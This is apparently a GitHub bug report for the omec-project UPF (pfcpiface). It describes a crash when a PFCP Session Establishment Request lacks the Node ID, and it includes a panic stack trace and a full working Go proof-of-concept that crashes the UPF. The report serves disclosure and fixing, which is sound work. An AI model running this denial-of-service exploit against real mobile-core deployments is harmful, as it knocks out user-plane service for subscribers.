Skip to content

[Bugs] UPF crash on Session Establishment Request missing NodeID #979

@LinZiyuu

Description

@LinZiyuu

Describe the bug

When the UPF receives a PFCP Session Establishment Request that is missing the Node ID, handleSessionEstablishmentRequest directly calls IE.NodeID() on the empty IE. This results in a nil pointer dereference and causes a crash, leading to a DoS.

Release Information

Component: UPF (pfcpiface)
Version: upf-epc-pfcpiface:2.1.3-dev

Logs

2025-12-08T16:52:40.168Z        INFO    pfcpiface/main.go:33    setting log level to: info      {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z        INFO    logger/logger.go:59     set log level: info     {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z        INFO    pfcpiface/main.go:36    {Mode:sim AccessIface:{IfName:lo} CoreIface:{IfName:lo} CPIface:{Peers:[148.162.12.214] UseFQDN:false NodeID: HTTPPort:8080 Dnn:internet EnableUeIPAlloc:false UEIPPool:10.250.0.0/16} EnableGtpuPathMonitoring:false EnableFlowMeasure:false SimInfo:{MaxSessions:50000 StartUEIP:16.0.0.1 StartENBIP:11.1.1.129 StartAUPFIP:13.1.1.199 N6AppIP:6.6.6.6 N9AppIP:9.9.9.9 StartN3TEID:0x30000000 StartN9TEID:0x90000000 UplinkMBR:500000 DownlinkMBR:1000000 UplinkGBR:50000 DownlinkGBR:100000} ConnTimeout:0 ReadTimeout:15 EnableNotifyBess:false EnableEndMarker:false NotifySockAddr: EndMarkerSockAddr: LogLevel:info QciQosConfig:[{QCI:0 CBS:50000 PBS:50000 EBS:50000 BurstDurationMs:10 SchedulingPriority:7} {QCI:9 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:6} {QCI:8 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:5}] SliceMeterConfig:{N6RateBps:500000000 N6BurstBytes:625000 N3RateBps:500000000 N3BurstBytes:625000} MaxReqRetries:5 RespTimeout:2s EnableHBTimer:false HeartBeatInterval: N4Addr:}   {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z        ERROR   pfcpiface/bess.go:775   SetUpfInfo bess {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.169Z        ERROR   pfcpiface/bess.go:779   bessIP localhost:10514  {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z        ERROR   pfcpiface/bess.go:861   pdrLookup method failed with resp: error:{code:2 errmsg:"No module 'pdrLookup' found"}, err: <nil>  {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z        ERROR   pfcpiface/bess.go:1175  farLookup method failed with resp: error:{code:2 errmsg:"No module 'farLookup' found"}, err: <nil>  {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z        ERROR   pfcpiface/bess.go:1443  appQERLookup for qer clear failed with resp: error:{code:2 errmsg:"No module 'appQERLookup' found"}, error: <nil>   {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.174Z        ERROR   pfcpiface/bess.go:1443  sessionQERLookup for qer clear failed with resp: error:{code:2 errmsg:"No module 'sessionQERLookup' found"}, error: <nil>   {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.174Z        INFO    pfcpiface/node.go:84    listening for new PFCP connections on [::]:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z        INFO    pfcpiface/node.go:73    Establishing PFCP Conn with CP node. SPGWC/SMF host: 148.162.12.214, CP node: 148.162.12.214        {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z        INFO    pfcpiface/conn.go:121   created PFCPConn from: 172.17.0.2:8805 to: 148.162.12.214:8805      {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z        INFO    pfcpiface/messages_conn.go:101  association Setup with DNN: internet    {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:52.181Z        INFO    pfcpiface/node.go:129   removed connection to 148.162.12.214:8805       {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:52.181Z        INFO    pfcpiface/conn.go:256   shutdown complete for 148.162.12.214:8805       {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z        INFO    pfcpiface/conn.go:121   created PFCPConn from: 172.17.0.2:8805 to: 172.17.0.1:49112{"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z        INFO    pfcpiface/messages_conn.go:101  association Setup with DNN: internet    {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z        INFO    pfcpiface/messages_conn.go:177  association Setup Request from 172.17.0.1:49112 with recovery timestamp: 2025-12-08 16:53:15 +0000 UTC      {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z        INFO    pfcpiface/messages_conn.go:189  association setup done between nodes local: 172.17.0.2 remote: 172.17.0.1   {"component": "UPF", "category": "Pfcp"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x969462]

goroutine 58 [running]:
github.com/wmnsk/go-pfcp/ie.(*IE).NodeID(0x0)
        /go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.24/ie/node-id.go:78 +0x22
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).handleSessionEstablishmentRequest(0xc00043f320, {0xdc19c0?, 0xc000255680})
        /pfcpiface/pfcpiface/messages_session.go:46 +0x6a
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).HandlePFCPMsg(0xc00043f320, {0xc0000bcba0, 0x21, 0x30})
        /pfcpiface/pfcpiface/messages.go:120 +0x814
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve.func1(0xc0000ad490)
        /pfcpiface/pfcpiface/conn.go:211 +0x1c5
created by github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve in goroutine 57
        /pfcpiface/pfcpiface/conn.go:184 +0xc9

Steps to reproduce the behavior:

  1. Start a new go project inside a new folder and create a main.go and paste the code below:
  2. Init Project go mod init poc
package main

import (
	"errors"
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/wmnsk/go-pfcp/ie"
	"github.com/wmnsk/go-pfcp/message"
)

const (
	modeSessionMissingNodeID     = "session-missing-nodeid"
	defaultCPSEID                = 0x1111222233334444
	heartbeatResponseBufferSize  = 4096
	defaultWaitForResponse       = 5 * time.Second
	defaultAssociationRetrySleep = 200 * time.Millisecond
)

type seqGenerator struct {
	val uint32
}

func (g *seqGenerator) Next() uint32 {
	g.val++
	if g.val == 0 || g.val > 0xFFFFFF {
		g.val = 1
	}
	return g.val
}

func forcePFCPv1(pkt []byte) {
	if len(pkt) > 0 {
		pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
	}
}

func startReceiver(conn *net.UDPConn) (chan message.Message, chan error, func()) {
	msgCh := make(chan message.Message, 16)
	errCh := make(chan error, 1)
	stop := make(chan struct{})

	go func() {
		defer close(msgCh)
		defer close(errCh)

		buf := make([]byte, heartbeatResponseBufferSize)
		for {
			conn.SetReadDeadline(time.Now().Add(1 * time.Second))
			n, _, err := conn.ReadFromUDP(buf)
			if ne, ok := err.(net.Error); ok && ne.Timeout() {
				select {
				case <-stop:
					return
				default:
				}
				continue
			}
			if err != nil {
				select {
				case errCh <- err:
				default:
				}
				return
			}

			payload := make([]byte, n)
			copy(payload, buf[:n])
			msg, err := message.Parse(payload)
			if err != nil {
				log.Printf("[rx] failed to parse PFCP message: %v", err)
				continue
			}

			switch msgTyped := msg.(type) {
			case *message.HeartbeatRequest:
				seq := msgTyped.Sequence()
				rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
				raw, err := rsp.Marshal()
				if err != nil {
					log.Printf("[rx] failed to marshal Heartbeat Response: %v", err)
					continue
				}
				forcePFCPv1(raw)
				if _, err := conn.Write(raw); err != nil {
					log.Printf("[rx] failed to send Heartbeat Response: %v", err)
				} else {
					log.Printf("[rx] ← Heartbeat Request (seq=%d) → responded", seq)
				}
			default:
				select {
				case msgCh <- msg:
					log.Printf("[rx] ← %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
				default:
					log.Printf("[rx] dropping %s: channel full", msg.MessageTypeName())
				}
			}

			select {
			case <-stop:
				return
			default:
			}
		}
	}()

	cancel := func() {
		close(stop)
	}

	return msgCh, errCh, cancel
}

func waitForMessage(msgCh <-chan message.Message, errCh <-chan error, timeout time.Duration, match func(message.Message) bool, description string) (message.Message, error) {
	timer := time.NewTimer(timeout)
	defer timer.Stop()

	for {
		select {
		case <-timer.C:
			return nil, fmt.Errorf("timeout waiting for %s", description)
		case err, ok := <-errCh:
			if ok && err != nil {
				return nil, fmt.Errorf("receiver error: %w", err)
			}
		case msg, ok := <-msgCh:
			if !ok {
				return nil, fmt.Errorf("receiver closed while waiting for %s", description)
			}
			if match(msg) {
				return msg, nil
			}
			log.Printf("[wait] ignoring unexpected message: %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
		}
	}
}

func performAssociation(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string) error {
	nodeIE := ie.NewNodeID(nodeID, "", "")
	if nodeIE == nil {
		return errors.New("failed to build NodeID IE – ensure --bind is a valid IP or FQDN")
	}

	ies := []*ie.IE{
		nodeIE,
		ie.NewRecoveryTimeStamp(time.Now()),
		ie.NewUPFunctionFeatures(0x10, 0x00, 0x00, 0x00),
		ie.NewUserPlaneIPResourceInformation(0x41, 0, nodeID, "", "", ie.SrcInterfaceAccess),
	}

	assocSeq := seqGen.Next()
	req := message.NewAssociationSetupRequest(assocSeq, ies...)

	raw, err := req.Marshal()
	if err != nil {
		return fmt.Errorf("marshal association request: %w", err)
	}
	forcePFCPv1(raw)

	log.Printf("[assoc] → Association Setup Request (seq=%d)", assocSeq)
	if _, err := conn.Write(raw); err != nil {
		return fmt.Errorf("send association request: %w", err)
	}

	_, err = waitForMessage(msgCh, errCh, defaultWaitForResponse, func(m message.Message) bool {
		_, ok := m.(*message.AssociationSetupResponse)
		return ok
	}, "Association Setup Response")
	if err != nil {
		return fmt.Errorf("association failed: %w", err)
	}

	log.Printf("[assoc] Association established; ready for exploit traffic.")
	return nil
}

func sendSessionMissingNodeID(conn *net.UDPConn, seqGen *seqGenerator, localIP net.IP) error {
	seq := seqGen.Next()
	// Add CP-F-SEID but keep NodeID missing to trigger the vulnerability
	fseidIE := ie.NewFSEID(defaultCPSEID, localIP, nil)
	if fseidIE == nil {
		return errors.New("failed to craft F-SEID IE")
	}

	// Create Session Establishment Request with CP-F-SEID but without NodeID
	req := message.NewSessionEstablishmentRequest(
		0,             // mp: Message Priority
		0,             // fo: FO flag
		defaultCPSEID, // CP F-SEID
		seq,           // PFCP sequence number
		0,             // pri: MP specific value
		fseidIE,       // CP-F-SEID IE (added)
		// Intentionally omit NodeID IE to trigger nil pointer dereference
	)

	raw, err := req.Marshal()
	if err != nil {
		return fmt.Errorf("marshal malformed session establishment request: %w", err)
	}
	forcePFCPv1(raw)

	log.Printf("[poc] → Session Establishment Request (seq=%d, missing NodeID, but includes CP-F-SEID)", seq)
	_, err = conn.Write(raw)
	return err
}

func main() {
	host := flag.String("host", "127.0.0.1", "UPF PFCP address")
	port := flag.Int("port", 8805, "UPF PFCP port")
	bind := flag.String("bind", "127.0.0.2", "local PFCP source IP")
	wait := flag.Duration("wait", defaultAssociationRetrySleep, "delay between association and exploit payload")
	flag.Parse()

	remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *host, *port))
	if err != nil {
		log.Fatalf("resolve remote: %v", err)
	}

	localIP := net.ParseIP(*bind)
	if localIP == nil {
		log.Fatalf("invalid bind IP: %s", *bind)
	}
	localAddr := &net.UDPAddr{IP: localIP, Port: 0}

	conn, err := net.DialUDP("udp", localAddr, remoteAddr)
	if err != nil {
		log.Fatalf("dial udp: %v", err)
	}
	defer conn.Close()

	msgCh, errCh, cancel := startReceiver(conn)
	defer cancel()

	seqGen := &seqGenerator{}

	log.Printf("Remote UPF target: %s", remoteAddr.String())
	log.Printf("Local PFCP source: %s", conn.LocalAddr().String())

	// Try to establish association, but continue even if it fails
	// Some vulnerabilities may be triggerable without successful association
	if err := performAssociation(conn, seqGen, msgCh, errCh, *bind); err != nil {
		log.Printf("WARNING: association handshake failed: %v", err)
		log.Printf("Continuing anyway - attempting to send exploit payload without association...")
	} else {
		time.Sleep(*wait)
	}

	if err := sendSessionMissingNodeID(conn, seqGen, localIP); err != nil {
		log.Fatalf("send malformed session establishment request: %v", err)
	}

	log.Printf("Payload delivered. Observe UPF logs for panic stack traces.")
}
  1. Download required libraries: go mod tidy
  2. Run the program with the UPF PFCP server address: go run main.go -host 172.17.0.2 -port 8805 -bind 172.17.0.1

Expected behavior

For missing/invalid messages, return an Session Establishment Response with the cause: Mandatory IE missing.

Observed behavior

Upon receiving an Session Establishment lacking the Node ID, the UPF experiences a crash.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions